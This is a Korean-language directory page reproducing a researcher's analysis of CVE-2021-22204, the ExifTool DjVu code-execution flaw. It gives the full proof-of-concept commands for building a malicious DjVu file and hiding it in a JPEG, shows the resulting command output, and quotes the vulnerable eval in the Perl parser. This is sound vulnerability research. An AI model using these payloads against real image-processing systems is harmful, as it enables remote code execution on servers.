Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-22204 — CVE-2021-22204(ExifTool RCE)에 대한 심층 기술 분석: PoC 재현, 페이로드 구성, 취약한 DjVu 주석 파서의 Perl 코드 리뷰를 포함합니다. | Kitploit
도구/GitHubGitHub/trganda/cve-2021-22204
Vulnerability AnalysisCode AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubtrganda/cve-2021-22204

CVE-2021-22204

CVE-2021-22204(ExifTool RCE)에 대한 심층 기술 분석: PoC 재현, 페이로드 구성, 취약한 DjVu 주석 파서의 Perl 코드 리뷰를 포함합니다.

저장소 보기
3104년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ExifTool 원격 코드 실행 취약점

이 글은 CVE-2021-22204의 분석 글이라고 할 수 있지만, 사실상 제 메모장에 더 가깝습니다. 잡다한 내용으로 가득 차 있어서 취약점 분석 글치고는 다소 잡담이 많아 보일 수 있지만, 그 과정에서 많은 것을 배웠습니다.

솔직히 말하면, 이 도구를 사용해본 적도 없고 Perl 언어도 거의 접해본 적이 없어서 분석 및 재현 과정 내내 의문투성이였습니다. 분석을 시작하기 전에 먼저 온라인에 공개된 POC와 제가 가진 의문점을 살펴보겠습니다.

POC - convisolabs

제가 본 글은 [1]로, 취약점 발생 원인에 대해 간략히 소개하고 있습니다. 하지만 Perl 코드를 이해하지 못해 많은 부분이 명확하지 않았습니다. 재현 과정은 다음과 같습니다.

12.23 버전의 exiftool 다운로드

wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

압축 해제 및 설치

$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

물론 설치를 원하지 않는다면 exiftool-12.23 디렉토리의 exiftool 파일을 환경 변수에서 찾을 수 있는 디렉토리에 넣어도 됩니다. Perl은 python과 같은 인터프리터 언어이기 때문에 exiftool 도구를 바로 사용할 수 있습니다.

악성 이미지를 만들기 위해 먼저 필요한 도구를 설치합니다.

$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

다음 명령을 실행하여 악성 djvu 파일을 생성합니다.

$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

그런 다음 exiftool 도구로 해당 악성 파일을 파싱하면 id 명령이 성공적으로 실행된 것을 확인할 수 있습니다.

$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

앞서 djvumake 명령으로 djvu 형식 파일을 만들 때 payload를 압축하지 않을 수 있을까요? 분석 관점에서 보면 압축은 확인과 테스트를 어렵게 만들기 때문입니다. 물론 가능합니다. ANTz 파라미터만 ANTa로 바꾸면 됩니다. ANTz와 ANTa는 exiftool 문서[3]을 참고할 수 있지만, 표준 설명을 찾지 못해 구체적인 의미는 아직 확인하지 못했습니다.

여기서 한 가지 불만을 말하자면, man djvumake로 파라미터 설명을 확인하려 했지만 ANTz와 ANTa에 대한 설명이 전혀 없었습니다. 문서 날짜가 2001년으로 오랫동안 업데이트되지 않았습니다.

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa는 djvu 파일 내 metadata에 Annotation을 평문 형식으로 저장하며, ANTz는 bzz 압축 형식입니다.

그러나 djvu 형식 파일은 흔하지 않습니다. 특히 웹사이트에 이미지 업로드 기능이 있는 경우 대부분 png/jpg/jpeg 등의 파일만 허용합니다. 따라서 악성 djvu 파일을 jpg 파일로 만들 수 있다면 좋을 것입니다.

exiftool 도구는 이미지 콘텐츠를 수정하는 데 도움을 줄 수 있습니다. 악성 djvu 파일을 jpg 파일의 적절한 위치에 삽입하기만 하면 됩니다. 정확히 어떤 위치인지, 왜 그 위치가 가능한지는 나중에 분석하면서 설명하겠습니다.

exiftool 설정 파일 eval.config 작성

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b 对应Tag 'HasselbladExif'[6]
        0xc51b => {
            # 名字可以随意指定,这是接收的参数名称
            Name => 'HasselbladExif',
            # 可写入的变量类型
            Writable => 'string',
            # 写入的数据归属于metadata的哪一个Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

exiftool 설정 파일 작성 방법은 [4][5]를 참고할 수 있습니다. 그런 다음 일반 jpg 이미지 파일 poc.jpg를 찾아 다음 명령을 실행합니다.

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

다시 exiftool로 poc.jpg를 파싱하면 명령이 성공적으로 실행됩니다.

$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

취약점 분석

다음 분석 과정은 [2]의 내용을 참고했습니다. 취약점 영향 버전은 exiftool < 12.24이며, 취약점을 유발하는 파일은 다음과 같습니다.

lib/Image/ExifTool/DjVu.pm (line 202)

관련 함수 코드는 다음과 같습니다.

#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}
도구 다운로드